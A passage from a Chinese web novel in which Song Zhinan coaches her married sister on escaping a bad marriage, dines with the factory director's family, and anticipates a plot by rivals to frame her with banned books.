但这件事到底给了两人沉重的打击,好久都缓不过来。好在他们想起除了宋秋实,他们还有宋冬宝这个小儿子。夫妻两人突然对宋冬宝愈发慈爱起来,没事就嘘寒问暖的,把宋冬宝弄得受宠若惊。以前父母也宠他,但感觉跟大哥还是不一样的。现在怎么家里的宠爱都集中到他一个人身上了? 宋上进对宋冬宝耳提面命:“冬宝,你可是咱们家唯一的希望了。你以后可不能找个厉害媳妇,你要是再像你哥那样,爸妈就没法活了。” 宋冬宝连忙摇头:“你们放心,我绝对不找大嫂那样的。”他现在都不想找对象了,万一不幸遇到大嫂那样的狠人可咋办?遇到二姐这样的也不行,姐夫现在也挺惨的。三姐那样的更不行。不对,三姐那样的肯定瞧不上自己这样的。宋冬宝心绪复杂,心头纷乱如麻。 宋上进板着脸纠正宋冬宝:“那个毒妇不是你大嫂,你哥已经跟她离婚了。” 宋冬宝乖乖点头:“嗯嗯,她不是我大嫂。” 宋秋实尽管人已经离开了家,但他造成的阴影却永远地留在了家里。 而宋知夏也给陈安华造成了巨大的心理阴影。 陈安华到底还是去医院看了,医生说让他好好养着,暂时别用。以后可能会好,也可能不好。 第64章 陈安华恨上了宋知夏, 没事就用阴沉沉的目光盯着她看。王桂兰和陈志国有事没事也挤兑宋知夏。宋知夏尽管会游泳会烤火,但她也会觉得苦。 之前, 公婆对于办工作的事就是黑不提白不提,现在更不会提。工作没指望,在家里当家庭主妇,还掌握不了财政大权,两个老东西都是属算盘的,一个比一个精明。 就算如此,她也有可能随时被踢出去。再加上,她的名声在这一带也坏了,哪怕是再嫁,也嫁不到什么好的,大概率要给人当后妈。 宋知夏整日惶恐不安, 她唯一能抓住的救命稻草就是宋知南这个妹妹。 她每隔两天就跑到宋知南家, 帮着她洗衣做饭种菜喂狗。 星期天, 宋知夏一咬牙一跺脚,自掏腰包割了二两肉, 去宋知南家给她包韭菜猪肉馅的饺子。 等到宋知南吃饺子吃到兴头上, 宋知夏开口了:“三妹,你能不能给我指一条道路?如果是你,你该怎么办?” 宋知南说:“这个没法假设,因为我压根就不会走到这一步,嫁陈安华那一步,我这辈子都迈不出去。”那么丑的男人怎么下得了嘴? 宋知夏咬牙说:“我知道,我当时确实是饥不择食。那什么, 你就假设你一觉醒来,就已经是我现在这样了, 你说下一步该怎么办?” 宋知南想了想说,“第一步,你一定不能生孩子。”有个丑男人,再生个丑儿子,早上起来一看身边躺着俩丑货,吓得心脏病都犯了。 宋知夏点头:“这个没问题的,我感觉陈安华的那玩意儿是真的坏了,用不了。而且他现在对我有心理阴影,一看到我就软了。” 宋知南说:“他那是借口,说明他本来就不行。” “你说得对。那不生孩子之后呢?” 宋知南说:“你就把陈家当作跳板,利用这段时间赶紧找工作。” 宋知夏当然知道该找工作,问题是怎么找。她不像妹妹这样有本事,能靠自己找到这么好的工作。 想到这里,她也不管别的,从钱包里拿出20块钱硬塞到宋知南手里:“三妹,你别嫌少,我只能拿出这么多。我没有工作,也没拿到陈家的财政大权,这是我以前从陈安华手里抠出来的。另外,我结婚时的衣裳你随便挑。我想让你帮我留意一下工作上的消息。” 宋知南不在乎宋知夏的这点钱和东西,但是吧,人性本贱,你免费帮人家,人家可能不把你当回事。越是付出得多就越感激你。要不怎么说,医不扣门,道不轻传呢。 宋知南淡声说道:“二姐,你现在这样是把我当成救命稻草了。其实我不是,再说了,就算有救命稻草,你也不能抓,因为一根稻草根本拯救不了你,你只有学会游泳才能救自己。” 宋知夏急声问:“关键是我怎么学游泳?我又不像你那么有本事。” 宋知南瞥了她一眼:“你把你以前那股掐尖要强的心气重新拿出来,你身体健康,脑子正常,有心机,还是高中毕业,你这样的人都生存不下去,那别人更没法活了。” 宋知夏听到妹妹这么肯定自己,心里稍稍安定了些,但这还远远不够。 她想了想,他们宋家的人都是无利不起早,她要是不下血本,三妹肯定不会全心全意地帮她。 宋知夏稍一思索,便果断地说道:“三妹,你只要帮我找到工作,不管是临时工还是正式工,我每月给你上交我三分之一的工资。” 宋知南看着宋知夏没说话。 宋知夏凑近些,握着宋知南的手,心疼地说:“你看你这双手干活都变粗糙了,你的手天生就是拿笔写文章的,哪能干粗活?以后你家的家务活我也全包了。” 宋知南挑眉:“你天天在我家干活,你婆家怎么办?” 宋知夏不在意地说:“我没嫁到他们家时他们怎么活,现在就怎么过呗。我给你干活有回报,给他们家干活屁回报没有还落不着好,我傻呀。” 宋知夏生怕妹妹不信,找到纸和笔刷刷写下保证书,签上名字,注明年月日。 她扬扬手里的保证书:“白纸黑字,我没法抵赖也不敢抵赖。毕竟咱们之间不是一锤子买卖。而且我也看明白了,这个家里只有你是真心帮我。你以前骂我说我,不跟我亲,那也是我应得的报应,因为我不是一个好姐姐。 以前我对你不好,这里面有爸妈的原因,在那个家里,咱们俩都过得压抑,每天战战兢兢小心翼翼的,我连自己都顾不好,根本没有余力顾你。当然也有我自己的原因,为什么大姐也过得不好却对咱们不错?说到底,我还是比大姐自私自利,只为自己着想。自从我结婚后,看清了很多事,也想明白了很多。” “三妹,我不敢说我是一个多无私的人,但我至少是一个知恩图报的人,也是一个恩怨分明的人。你帮了我,我会记着你的好。因为我不爱吃亏,所以我比别人更明白,你要想跟人长期来往就不能让人家吃亏。毕竟谁也不是傻子。你放心,我以后不会让你吃亏。这是我能开出的条件,你要是不满意咱们还可以再商量。” 宋知南考虑一会,终于开了金口:“行,你的诚意我收到了。但是工作的事我先不跟你保证,我视情况而定。如果有工作机会,我会第一个考虑你。” 宋知夏喜欢出望外:“有你这句话我就放心了。” 宋知南说道:“你毕竟是我亲姐,虽然咱们以前总是打闹争执,你总是占我小便宜,但咱们之间没有深仇大恨。你跟宋秋实不一样,甚至跟宋冬宝也不一样,他毕竟是男人。只有我们俩的利益是一致的,也理解彼此的处境。我希望以后爸妈对付我时,你能站在我这边。” 宋知夏赶紧保证:“没问题,我本来就站在你这边。” 宋知南又多问一句:“你找到工作后打算跟陈安华离婚吗?” 宋知夏考虑一会儿,说:“走一步看一步吧,等到时机成熟再说。以后你可要吸取我的教训。我当初结婚太冲动了,我当时一是想逃避下乡,二是想跳出咱家那个火坑。结果,我从一个火坑跳到另一个火坑。你说我折腾一圈是图啥呢?这些日子我一直在想,怎样才能跳出火坑?就是像你一样,找到工作有房子住把户口迁出来才是真正跳出火坑。” 说到这里,宋知夏满脸苦笑:“三妹,以前大家都说咱们三姐妹,最精明的是我,最傻的是你。他们都看错了,其实最聪明的是你,最傻的是我。” 以前人她还沾沾自喜,觉得自己精明,别人坑不了自己。现在真想扇自己几巴掌,别人坑不了她,但奈不住自己坑自己呀。 宋知南见宋知夏有顿悟之意,不由得笑了笑。她这个姐姐比宋秋实有悟性多了。 她说道:“我还没有彻底跳出咱家,以后我会走得更远,到更远更大的城市,让爸妈找不到我们。” “你已经非常不错了。”能跟爸妈和秋实过招还不吃亏,在宋知夏看来已经是非常强大了。 姐妹二人暂时达成一致协议,宋知夏心头的石头落下了一半。 宋知夏让陈安华蛋碎的事,尽管影响力没有宋秋实的大,但也在厂区悄悄传开了。 大家私下里议论,这个宋家真是邪乎啊,儿子那啥没了,女婿的那啥也碎了。 还有人说,宋家三个姑娘,也就老大宋知春比较老实本分,剩下两个一个比一个厉害,那个宋知夏以前瞧着还行,其实是装的。现在三天两头跟公婆吵架,嘴头功夫特别厉害,她婆婆王桂兰那么厉害一个人,硬是没占到什么便宜。 有人说道:“那是,你也不瞧瞧人家家里有什么家学,你看看宋知南,现在谁人不知?” 还有人总结道:“所以说,这个宋知南绝对不适合当儿媳妇,媳妇还是嘴笨些好,天天在家里开辩论会,哪个正常人家受得了。” 于是,厂区不但有了抵制宋知南的男联盟,还有了坚决不娶宋知南当儿媳妇的婆婆盟。就连本区最大的民间媒婆马大姐也严肃地表示:以后不会给宋知南介绍对象。 大家都议论说,宋知南那个“全球不赤化,她就不成家”的宏大理想是有可能实现的。就让那些还未赤化的资本主义国家颤抖去吧。 闲话越传越广,最后又传回了宋知夏耳朵里,宋知夏气得直骂人。 再次见到宋知南时,宋知夏忍不住心生愧疚,“三妹,是我连累了你。你说我的手咋那么贱呢,这下麻烦大了。” 宋知南不在意地说:“捏就捏了,咱们女人就是要敢做敢当、无惧无悔。你也不必愧疚,以我的本事和能耐,我的名声还需要你来连累?我跟你这么说吧,我就是故意的,这就叫宝物自秽。你说我长得好心灵美,有房有工作,上进心强,这么好的人,将来他们不得天天惦记着我?那我该多烦呀。这么一弄,我以后就清净了。” 宋知南越说越觉得自己这条路走对了,做人就是要不走寻常路,上马路不能逆行,但人生路就要逆行。 曾经有一个极品娇妻夸耀自己美丽性感,说很多男人看到她就硬了。 宋知南当时说,她希望男人一看到她就软。 就目前的进度来看,她是很有希望实现这个小目标的。 第65章 宋知夏仔细观察着妹妹的脸色, 她好像不是在开玩笑。她飞快地开动自己的小脑瓜,怎么也理解不了妹妹的做法。宋知夏那不大不小的眼睛里充满了大大的疑惑。 “三妹, 那你以后真的不打算找对象了?” 宋知南理所当然地说:“那是肯定的,你看‘婚姻’二字咋写的?婚是女人头脑发昏,姻是大女人为囚。合在一起就是女人头脑发昏了才甘心结婚当囚徒。 还有一种解释是女人被打昏了才被抢回去当囚犯。原始社会最开始是母系社会,根本没有婚姻这一说,那些男的想要个奴隶就得靠暴力去抢人。现代社会倒是不用直接抢了,但他们用社会习俗规范约束咱们,用传统吓唬咱们,让你不结婚就活不下去。什么东西得天天吓唬你,你才去要?钱丢在地上,还用得着吓唬你才去捡吗?不早被人哄抢了?” 真是惊世骇俗,宋知夏的嘴惊讶得半天没合上。 宋知南点到为止, 也懒得跟她解释那么多。反正宋知夏已经结婚, 其中的苦与乐她以后会比自己体会得更深。 宋知夏一看自己确实没连累到妹妹, 心中的愧疚少了,不过活依旧没少干。她跟宋知南聊上几句就开始去干活。 两人一起去后院整理菜地, 宋知夏一进后院, 想起这栋院子里发生的“故事”,仍然心有余悸。 她看看宋知南,对方全无异样。宋知夏不禁心生佩服。 宋知夏没忍住,好奇地问道:“小南,你为啥一点都不害怕?” 宋知南一边拔草一边回答:“我连爸妈都不怕,我还怕谁?你不觉得活人才是最可怕的吗?自私冷血的亲人很可怕,外面的红小兵很可怕, 邻居也很可怕。跟他们一比,鬼只是听上去可怕而已, 人家是打你了骂你了还是坑你了?” 宋知夏一想也是,慢慢地她也就不害怕了。 由于男联盟和婆婆盟的出现,宋知南得到了朋友们的安慰。何黛怕她难过,特意从家里带来好吃的。李群英也送来两个苹果和一堆勉励,边月给她送来两筐柴火,陆诗月送给她一本书。 吴明珠还亲自来了一趟,她站在院子里看着前院郁郁葱葱的青菜,提醒宋知南:“你上回说等你的菜长好了,要带到我家显摆显摆,我可一直等着呢。” 宋知南笑着说:“行,那我这周日去方便吗?” “当然方便。” 周日上午10点,宋知南提着一篮子蔬菜去吴家登门拜访。 开门的是吴明珠的妈朱静墨,她虽已人过中年,但气质不俗。夫妻俩都是高颜值,怪不得能生出吴明珠那么漂亮的女儿。 宋知南用欣赏的目光看着朱静墨:“阿姨你真漂亮,怪不得能生出明珠这么好看的女儿。” 朱静墨笑道:“你这孩子小嘴倒挺甜。” 宋知南正色道:“我的嘴可不甜,我就爱说实话。” “哈哈。” 朱静墨愈发高兴。 宋知南把篮子递上去:“朱阿姨,这是我这自己种的菜,在前院种的,带给你们尝尝鲜。”她特意强调前院种的,就是怕对方心里有忌讳。 朱静墨感慨道:“这菜长得真好,跟你一样有精气神。” 这夸人的方式也挺独特。 两人说着话,吴明珠也从房间里出来了。 她拉着宋知南到自己房间里说话。 吴明珠对宋知南普法演讲的事很感兴趣,就多问了几句。 宋知南拣好笑的事说了:“演讲内容大同小异,就是各厂的反应不一样。钢铁厂最财大气粗,给的补贴最多,还送了我一口铁锅。毛巾厂送毛巾,食品厂送吃的。” 两人在屋里呆了半小时就出来了,刚好吴厂长从外面回来了。 朱静墨一看到他就笑着说:“老吴,明珠的好朋友小宋来了。” 吴厂长面带诧异,女儿很少往家里带朋友。 他还记得宋知南:“小宋,我记得你。别客气,就当在自己家一样。” 宋知南面带惊喜:“吴叔,你竟然还记得我。” 吴厂长笑道:“当然记得,我对你印象很深呐。” 他很和气地说:“你们聊,我去做饭。” 宋知南语气诚挚:“哇,吴叔真是个好男人,比我爸强多了,我都没吃过他做的饭。” 朱静墨母女俩脸上带着幸福的笑容。 三人坐着继续闲聊。 朱静墨还特地给宋知南泡了一杯麦乳精。 她说道:“小宋,你写的文章我看了,写得非常好。你小小年纪,就有如此见地,以后好好努力,将来一定能成为大作家。” 宋知南:“谢谢阿姨鼓励,当作家是我的理想。” “好,有志气。” 朱静墨也听说过别人议论宋知南的事,便安慰道:“小宋,别人的议论和闲话,你别放在心上。说得他们想娶你就愿意嫁似的。也不知道这些人是怎么想的,见到一个女孩子,首先想的是能不能娶回家。” 朱静墨年轻时,虽然长得漂亮,但是娇气吃不了苦,还不爱做家务,亲戚邻居也悄悄议论她,说长得好看又不能当饭吃,她将来肯定找不到好婆家,即使找到人家也受不了她。她后来还偏偏就找到了,还找到了一个爱做饭长相英俊有前途的丈夫。 宋知南说:“这些人的脑子比较小,只能装下这种事,别的装不了。” “哈哈哈,还真是。” 两人相谈甚欢,吴明珠在旁边都快插不上话了。 她们聊着天,吴厂长往外端饭菜。 朱静墨热情地招呼宋知南吃饭,宋知南一点也不拘谨。落落大方地吃饭,舒展自在地聊天。吴厂长对宋知南也不禁有些好奇。 他说道:“小宋,你的文章我也看了,我觉得你在妇联办公室都有些屈才了,你倒是挺适合宣传科。” 宋知南答道:“在哪里都是为人民服务,我挺喜欢现在这个岗位的,能帮到女同胞们,也算是我为妇女解放做出一点贡献。不过以后宣传科要是有什么任务,我也可以过去帮忙。” 吴厂长点头:“你的思想觉悟倒挺高。其实,你的工作做得不错,就是有些同志不理解你,对你产生了偏见。” 宋知南轻轻叹息一声:“吴叔,您经常当领导,您肯定知道,有时候,工作越负责就越被人指责。无论一个人多负责多无私,也不可能让所有人满意。因为有的人他就不是正常人。我听过一句老话,叫当家三年狗都嫌。” 这句话深得吴厂长的心,他朗声笑道:“你这个小同志,可真会说话,你这话说到点子上了。”可不是嘛,当家三年狗都嫌,他当厂长这几年,下面的人对他不满的多的是。 这次轮到吴厂长跟宋知南相谈甚欢,吴明珠再次插不上话。 吴明珠无语地看着自己爸妈,这两人是不是平常太寂寞了,没人陪他们聊天?还是人老了话就多了。 吴厂长和朱静墨抢着跟宋知南说话,到最后,两人一起批评吴明珠:“我们家明珠要是像你一样活泼可爱就好了,这孩子连爸妈都不爱搭理,跟我们一起住还嫌烦,说我们管得太多,非要搬出去住。” 吴明珠一脸无奈,两眼望着天花板。 宋知南看了一眼吴明珠,笑着说道:“吴叔,朱阿姨。说真的,明珠有你们这样的父母,能养成现在这样的性子已经非常好了。” 两人不禁有些诧异,不明白宋知南为什么要这么说。 宋知南接着说:“因为只有被父母偏爱的孩子才底气十足、有恃无恐。我要是有你们这样宠我的父母,我肯定比她任性多了,我走路都得横着走,竖着走我嫌不够标新立异。” 两人一起笑了起来:“哈哈,你这孩子说话可真有意思。” 吴明珠也跟着一起笑,屋里充满了快活的笑声。 这顿饭吃得宾主尽欢,宋知南告辞时,一家三口都有些不舍。 朱静墨拉着宋知南的手说:“你有空常来啊,阿姨就喜欢跟你这样的孩子聊天。” 宋知南离开吴家时,大家都知道她去吴厂长家吃饭了。 她回来的路上,有各种人向她打探消息。 “小宋,你咋去厂长家吃饭了?” 宋知南一脸淡定:“那咋啦?明珠是我朋友,我去朋友家吃顿饭不是很正常吗?” 其中有个前看门大爷胡大爷追着宋知南问:“小宋,那你见到吴厂长了吗?” “当然见到了,饭还是他做的呢。吴厂长真是个好男人,人家会做饭。胡大爷你会做饭吗?” 胡大爷摇头:“我一个老爷们,咋会做饭?” 宋知南叹气:“连饭都不会做,你丈母娘肯定不喜欢你。” 胡大爷:“……” 宋知南回到家里,宋知夏还在院子里忙活,一见到她回来,赶紧询问此行的收获。 宋知南说:“吴厂长人还挺好的,今天的饭就是他做的。吴明珠的妈朱阿姨人漂亮有气质,跟我挺聊得来。” 宋知夏一脸佩服:“三妹,还是你厉害。去厂长家吃饭还能跟他们聊天,换我话都说不利落。” 宋知南不在意地说:“别说是厂长了,部长又如何?反正都是两个眼睛一个鼻子,谁也不比谁多出什么来。” 宋知夏忍不住竖起大拇指:“以前是我小瞧你了。” 宋知南说:“我在家时是被他们克了,要不然我早出人头地了。” 宋知夏小心翼翼地问:“那你说,咱们给吴厂长送礼,他会不会给我安排工作?” 宋知南摇头:“最好不要,他一个厂长,礼送轻了,人家看不上;送重了,咱们送不起。而且那么多人盯着他,你这不是给他的对手送把柄吗?你工作的事不要急,咱们需要一个契机。” 宋知夏忙说:“不急不急,咱们慢慢来。” 第66章 宋知南自从去过吴明珠家吃饭后, 两人之间的来往就多了起来。吴明珠时不时地来她家里坐一坐,有时跟陆诗月一起, 有时自己来。 有一次吴明珠遇到来帮宋知南做家务的宋知夏。 宋知南给两人做介绍:“明珠,这是我二姐知夏。二姐,这位就是我经常给你提起的明珠。” 吴明珠对宋知夏礼貌地点头致意,宋知夏赶紧去泡茶。 吴明珠也隐隐约约听说过关于宋知夏的传闻,她没忍住好奇,悄声问:“你二姐夫是陈安华?” 宋知南点头,语气平淡地说:“对,就是他。我二姐不小心把他的蛋捏坏了,他非让她写保证书,还让我也写保证书,保证以后不拿他写文章。” 吴明珠忍俊不禁。 宋知南接着叹息道:“我二姐长得不丑, 人也算能干, 可就是被忽悠了。陈家说婚后会帮她安排工作, 结果呢,她嫁进去后发现自己被骗了。所以说, 女的千万别想着从男人身上得到点什么, 人家精明得很,一不小心自己被骗个精光。” 吴明珠用欣赏的目光看着宋知南:“你的思想挺新颖,还很先进。不像我们广播室的那位江茶同志,整天费尽心思讨好男人。做什么事都要先考虑男人喜不喜欢。她还劝陆诗月接受那个什么玩意李松,委婉地劝诗月不要跟你走太近,否则男人会连带着不喜欢她。” 宋知南对江茶的做派毫不惊讶。 她笑嘻嘻地说道:“江茶的路走窄了,讨好男的有什么用?还不如讨好女人有用。人家是真帮你, 还不馋你的身子。你看我都不用讨好,工作、房子全是靠女人得来的。” 宋知南这话说得倒也没错, 工作是魏芬帮她打探消息找到的,房子是李群英提醒她,吴明珠帮她说话申请到的。 吴明珠一本正经地说:“我不馋你的身子,但我馋你的脑子和嘴。你说我要是有你的口才该多好。我妈自从见过你之后,一直对你念念不忘,说你特别会聊天。” 宋知南说:“我的口才是为了更好的生活,你已经有了那么好的生活,还要它干吗?打个比方说,我的目的是跑到罗马,可你本来就生在罗马,你羡慕我会长跑的腿干吗?” 吴明珠笑着捶了宋知南一下,“你这家伙真会说话,怪不得我妈喜欢跟你聊天。” “可我觉得朱阿姨人挺好的,开明民、主,人也很有意思。”怎么说呢,朱静墨的身上有一丝她这个年龄的女人少有的少女心。 吴明珠皱着脸:“可我们相处的时间一长就会产生矛盾,我看不惯她,她也看不惯我。当然,她对我还是挺好的。你能理解吧?” 宋知南当然能理解,跟任何人长期相处都会产生矛盾,跟父母也不例外。 吴明珠跟朱静墨虽然感情不错,但母女俩都有些公主病,多少会有点互斥。公主嘛,就得她这样的女皇宠着,时不时地给点情绪价值。 吴明珠跟宋知南倾诉一下生活的苦恼,心情舒爽多了。 这时候,宋知夏提着一壶花茶过来了,给她们两人倒上茶,还顺便在她们面前摆上两样零食,是她自己做的油炸排叉和小麻花。 宋知南招呼吴明珠尝尝,她自己捏了根小麻花咬了一口,又酥又脆又香,把她给惊艳到了,不吝夸奖道:“二姐,你手艺不错啊,真好吃。” 宋知夏笑着说:“好吃是好吃,就是太费油了。” 她在家可没机会做,按理说是油都是定量的,也不知道妹妹从哪儿弄来那么多油,她家的油瓶总是满的。宋知夏很聪明地选择不问,但心里对这个妹妹愈加佩服,人家就是有本事。 吴明珠尝了一口也是赞不绝口。她看看宋知夏,虽然这姑娘的精气神和气质比不上宋知南,但瞧着也挺不错。怎么就嫁了陈安华那个丑货呢?她自己长得漂亮,爸妈和两个哥哥都长得很好看,在家里看习惯了,猛地一看到陈安华那样的丑人都有些不适应,可怜的宋知夏还要跟他过日子。 吴明珠对宋知夏心生同情,对宋知南说:“我听你二姐的声音倒不错,形象也可以,要是我们广播站有空缺,倒是可以把她弄进去。” 宋知夏做梦都没敢梦到进广播站,激动得有些语无伦次。 宋知南看了宋知夏一眼,示意她要冷静,她跟吴明珠说:“要是我二姐能进你们广播站,那我可太放心了,毕竟有你和诗月带着,她还能近距离地接受你们二位的熏陶。可惜,一个萝卜一个坑,现在没有空缺。”吴明珠嘴里没说,但心里想的是,要是那个江茶能离开就好了。 吴明珠在宋知南家呆了半小时就离开了。 她一离开,宋知夏便激动地抓住宋知南的袖子:“三妹,吴明珠说的是真话还是客气话?” 宋知南说:“以她的性子说的应该是真话。再说了她讨厌那个江茶,自然希望她离开。” “江茶?我听说过她。她长得漂亮又能说会道,我跟她比不了。” 宋知南说:“等待时机吧,咱也不是非要进广播站,就算咱们纺织厂不招工,还有别的工厂呢。以后你以后闲着没事,在家看看书,跟着收音机练练普通话。” 宋知夏频频点头:“行,我都听你的。” 宋知夏身上本来就有乖巧服从的一面,以前是对宋上进夫妻俩乖巧,现在渐渐转移到宋知南身上。她倒没有觉得哪里不好,虽然她是姐姐,可是妹妹实力更强啊。在宋家,就跟在狼群里一样,大家都潜移默化地接受了等级观念,谁拳头硬实力强就听谁的。 吴明珠想把江茶弄走,江茶也想把吴明珠给弄走,可惜吴明珠她爸是厂长,弄走她太难了。 吴明珠看不惯江茶那作派,江茶也受不了吴明珠的高傲和跋扈。 两人在价值观方面有着非常严重的分歧,江茶视男人如黄金,吴明珠视男人如粪土。 以前陆诗月还会从中调和两人的矛盾,现在倒好,霍峥嵘的哥们李松被拒绝后还时不时地纠缠陆诗月,偏偏江茶还劝着陆诗月接受李松。陆诗月由此也对江茶也有了看法,彻底偏向了吴明珠那边。 江茶现在是有苦难言,她长得好看又会说话,这身本领在男人堆里如鱼得水,在女人堆里却根本行不通。这也愈发让她坚信:女人心眼太小,事儿多,还妒忌心强,不如男人爽朗大气好相处。她跟女同志相处不好,不是她的问题,是女人的性格有问题。 人际关系不顺,工作也就那样,江茶越来越提不起劲来,她总感觉她的人生不应该是这样的。她就应该顺风顺水,万众瞩目,前方时不时地有惊喜等着她,到底哪里出错了呢? 突然,她脑中灵光一闪,想起了宋知南,一想到她心中就越发堵得慌,宋知南说的那些话像很多根针似的,扎在她的心头,一想起来就隐隐作痛。甚至在某个瞬间,她觉得宋知南的那些话有道理,但她不想承认,硬生生地把这个念头压下去。 江茶无法形容这种复杂的心绪,最后,她只能得出一个结论:宋知南克她。 江茶郁郁寡欢地来到霍峥嵘小弟王左住的院子,王左爸妈都去建设大三线,家里只有他一个人。霍峥嵘他们喜欢在他家聚会,王左也乐得家里热闹。 江茶到王家后,李松陈青他们也陆续到了。 他们一见到江茶就嬉皮笑脸地叫她嫂子,江茶嗔怪道:“别瞎叫,叫姐。” 陈青笑嘻嘻地说:“早晚都是嫂子,晚叫还不如早叫。” 李松是个急性子,一见到江茶就迫不及待地问:“嫂子,你劝陆诗月了吗?她怎么说?” 自从上次联谊会后,李松对陆诗月一见钟情,可陆诗月不理会他。李松身边的哥们都说女同志都那样,开始时都会假装矜持,只要你脸皮够厚,缠着不放,她们最后一定会放下架子。到时你想甩都甩不掉。 李松禀着“烈女怕郎缠”的信念,一直没有放弃。但陆诗月上下班都有吴明珠陪着,星期天躲在家里看书,李松接近她的机会很少,他就找江茶帮忙劝说。 江茶微微蹙了下眉头说:“小松,我建议你换个目标。陆诗月跟你不太合适。怎么说呢,她性子有些孤僻清高,不太会为人处世。最近又总跟吴明珠和宋知南搅合在一起,跟我也疏远了。” 李松一听到宋知南的名字不由得眉毛一拧,恶声恶气地说:“我真是倒霉,遇上宋知南那个克星。” 李松越说越气,扭头问陈青:“青子,你说那个宋知南是不是咱们的克星?克你,克我,还克嫂子和哥。” 陈青接着道:“别说咱们了,她连华哥都克。她跟华哥的事都被捅到华哥家里了,顾伯父从首都发电报嘱咐华哥一定要低调不要惹事,还打算给他换个地方躲风头。现在连华哥都不敢惹她。” 顾朝华和霍峥嵘现在被霍父管得死死的,就怕他俩出来惹事。 李松愤愤不平地说:“不行,咱们兄弟怕过谁?要是被一个小娘们给拿捏了,以后大家不都得笑话咱们?” 江茶听到他们的对话,赶紧劝道:“你们别冲动,宋知南是个硬茬子,笔和嘴一样锋利尖锐,不好惹。再说了霍伯伯一再叮嘱咱们,不要咱们再招惹宋知南。” 陈青也在一旁假惺惺地劝:“松哥,咱们惹不起那个宋知南,咱们一帮大男人也不好跟她一般见识。” 李松冷笑:“你们怕她,我可不怕。你们等着。我一定会抓到她的把柄,到时候让她好看。” 第67章 宋知南最近的日子过得十分舒服自在, 工作顺利,写作渐入佳境, 家里猫狗双全还有个田螺姐姐帮着做饭做家务,院子里的蔬菜也丰收了,趁着这个机会,宋知南把空间里的蔬菜拿出来充数。 收菜那天,宋知夏、宋冬宝、李群英、边月都来了。大家说说笑笑,一齐动手。 前院后院加一起收获十分可观,白菜萝卜堆得像小山一样,小葱有十来捆,还有几大筐土豆,十几个大冬瓜和南瓜。 宋知南双手插腰站在院中,看着一堆堆的蔬菜, 胸中充满丰收的喜悦和满足。 黑米和小虎站在她的旁边, 似在共享着这份喜悦。 李群英是他们当中年龄最大的, 她建议说,得挖个地窖储存菜。于是, 她指挥, 宋冬宝动手开挖。 宋知南在边上把菜分成几份,打算给大姐家送一份,魏芬家送一份,李群英家一份,陆诗月和吴明珠也有一份,还有何黛也不能落下。 宋知夏听说妹妹要给魏芬送菜,就好奇地问她为什么, 宋知南随口说道:“我的工作就是她帮忙打听的消息,你说该不该送?” 宋知夏诧异:“真是没想到, 芬姐会这么下力气帮你。” 宋知南:“我是得道多助,你们是失道寡助。” 宋知夏笑了一下,又问:“那给家里送菜不?” 宋知南摇头:“不送。” “那这样一来,爸妈肯定不高兴,毕竟你给邻居都送了,不给家里送。” 宋知南:“我的菜我想送谁就送谁。” 宋知南怕给魏芬带来麻烦,就让宋冬宝告诉魏芬有空来一趟。 收完菜,平整完土地,宋知南请大家在家里吃了一顿火锅。 一屋子都是年轻人,家里也没有长辈,也不用顾忌那么多。大家说说笑笑,又唱又闹,气氛十分热闹。 过了两天,地窖终于挖好了,姐弟三人把蔬菜放到地窖里码好。冬储菜提前备好。物质文明建设完毕,宋知南开始精神文明建设。她的书不够看了,亟需补充一批精神食粮。书店能买的书太少,宋知南还是把目光投向了废品收购站。 她每隔两天就去看看,临走时还跟工作人员打声招呼,有好书给她留着。 她刚出废品收购站就遇到了陈青和李松那帮人。双方在门口大眼瞪小眼,宋知南像是没看见他们似的,径直走了过去。 李松盯着宋知南的背影看了一会儿,转头问收购站的老钱:“她刚才跟你们说什么了?” 老钱随口答道:“没说啥,就说让我收到好书给她留着,还给了我一盒烟,倒挺大方。” 李松若有所思。 又过了两天,宋知南再来废品收购站时,路上一个长得贼眉鼠眼的男子拦住她,压低声音问:“同志,你买书不?刚收上来的,都是好书。” 宋知南蹲下来翻看了一下箱子里的书,书七八成新,没有破损。里面既有红色经典,还有苏联小说和外国文学名著,有不少是被称作毒草的书。她觉得这人这些书出现得有些古怪,就不动声色地问道:“这里面有很多‘毒草’书籍,你不怕被人举报吗?” 男子装傻:“俺文化水平不高,不懂啥毒草不毒草的。你不要,俺就问问别人。” 宋知南心中冷笑,这装得有些过了,如此拙劣的演技也敢来糊弄她? 她脑中灵光一闪,不会是有人给她挖陷阱吧?行,她就成全对方。鱼饵她吃下去,鱼钩还回来。 想到这里,宋知南问道:“这书的品相倒是不错,多少钱啊?” 男子观察着宋知南的神色,伸出一根手指,宋知南反问:“1块钱?” 那人忍不住乐了,“这么多好书你就给我1块钱?我的意思是你给10块钱这一箱子书全部搬走。” 宋知南觉着既然要钓鱼,还不如钓个大的,便说道:“这些太少了,还有没有?” 那人也傻眼了,这满满一箱子还不够?但是为了计划能够顺利实施,他只能咬牙跺脚:“行,你等我一会儿。”说着,他招手叫过来一个人帮忙看着,自己匆忙跑回去。 过了十来分钟,那个贼眉鼠眼的男人推着一辆板车回来了,上面还有一箱子书。 他看看四周,压低声音说道:“这里的好书更多,你到底要不要,不要的话我得赶紧拉回去,别让人看见了。” 宋知南过去随意翻看了一下里面的书,大方地说:“两箱子我全要了,一共给你12块钱,我只有这么多,你卖不卖?” 那男子假装肉痛地说:“我都拉出来了,不卖给你总不能再拉回去吧。” 宋知南大手一挥:“你把东西拉到那个路口,我再给你钱,快走。” 几个人一起把车推到路口,宋知南痛快地给了钱,他们才离开。 宋知南把箱子搬回家,把里面安全的书挑出来,放在书架上,其余的,一挥手全部放进了空间。 鱼饵她已经吃下了,对方应该要出招了。 宋知南猜测,这件事应该是霍峥嵘默许的,李松他们负责策划,为了把自己摘干净,他们不会亲自动手,会有别的工具人替他们冲锋陷阵,比如说那些无脑又冲动的红小兵们,听到有人举报来批、斗她之类的。 宋知南做事喜欢未雨绸缪,提前准备好一切。 她赶紧打开系统商城,看看有没有力大丸,一看有,立即下单,温水服下,吃鱼吃肉补充营养,锻炼锻炼肌肉,没事就在脑中模拟对战。 院子里放上几样工具,像木棒、自行车链、石灰之类的。 除了准备好工具,宋知南还去进行敌情侦查。她没事就到王左的院子附近转悠转悠。 除了王家,陈青家她也去了。陈青家住在棚户区,他家的院子又小又破,爷爷奶奶时不时地往家捡些废品,院子里弥漫着一股难闻的味道。因为又脏又乱,所以不引人注意,这也是藏东西的一个好地方,宋知南记住这个位置,以后还要来的。 霍峥嵘和江茶都是比较爱惜羽毛的人,利益他俩得了,但他俩永远是干干净净的,坏事都是别人做的。陈青王左李松就是他俩最忠诚的打手。因为他们是男女主,运气爆棚,这么做,一直都没出事。 